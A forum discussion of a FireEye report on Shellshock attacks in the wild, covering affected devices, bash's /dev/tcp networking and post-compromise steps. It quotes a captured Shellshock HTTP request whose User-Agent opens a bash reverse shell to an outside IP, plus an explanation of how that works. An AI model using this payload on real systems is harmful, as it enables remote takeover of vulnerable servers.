Shellshock in the Wild
fireeye.com
fireeye.com
I was tracking the changelog for the QNAP one that I use and was pleased to see that they didn't take too long to patch it: http://www.qnap.com/i/en/product_x_down/firmware_log.php?kw=...
Your office printers are probably vulnerable to this bug. So are medical devices, SANs, network switches, IP phones, cars, SCADA systems ... you name the device, I can probably name a vendor that ships bash on it. Here are the Cisco and Juniper devices affected: http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10... http://tools.cisco.com/security/center/content/CiscoSecurity...
GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′
"Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself. Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system."Maybe I'm seeing this wrong, but isn't the /dev filesystem provided by the kernel?
It is, but for /dev/tcp bash isn't really using it - that gets translated instead to internal socket handling code (i.e. nothing gets created/accessed in the real /dev) much like when you use "echo" - bash uses its built-in by default instead of forking to the external command of that name.
$ ll /dev/tcp
ls: cannot access /dev/tcp: No such file or directory
That explains it, thanks.$ ls > /dev/tcp/127.0.0.1/12345
This is still bad since they now will have a list of possible usernames on the system but not nearly as bad as getting access to the hashed passwords as well.
edit: damnit nknighthb, beat me to the punch! I'll add that privilege escalation attacks on Linux are common place and it won't be difficult to get root once they can execute arbitrary code. Installing a rootkit/backdoor is the typical first step once you get inside a box; if you can't get root immediately you can either brute-force a root login or sit and wait for a new 0day to pop up (which is probably every quarter for Linux systems).
Of the 50 distinct kernel exploits announced this year, the following are ones which either give privilege escalation or expose memory of the kernel: CVE-2014-0038, CVE-2014-0049, CVE-2014-2523, CVE-2014-0100, CVE-2014-0131, CVE-2014-0077, CVE-2013-1860, CVE-2014-2851, CVE-2013-6383, CVE-2014-0196, CVE-2014-3153, CVE-2014-4027, CVE-2014-4014, CVE-2014-0206, CVE-2014-4699, CVE-2014-4943, CVE-2014-4652 through 4656, CVE-2014-3534, CVE-2014-0205
The most important thing you can do for security is to decrease your attack surface, and one of the most effective ways to do that is to not run shit you don't need. Code that isn't there can't be exploited.
Basically several hackers have gotten in, installed wordpress, (and the whole apache mysql php stack with it) and done a bunch of other stuff and left without a trace (except for the log of course). Crazy stuff. I'm wondering how many other websites have been hacked and aren't even bothering to check on it.
[1] https://www.virustotal.com/en/file/2ff32fcfee5088b14ce6c96cc...
"That's not nice :("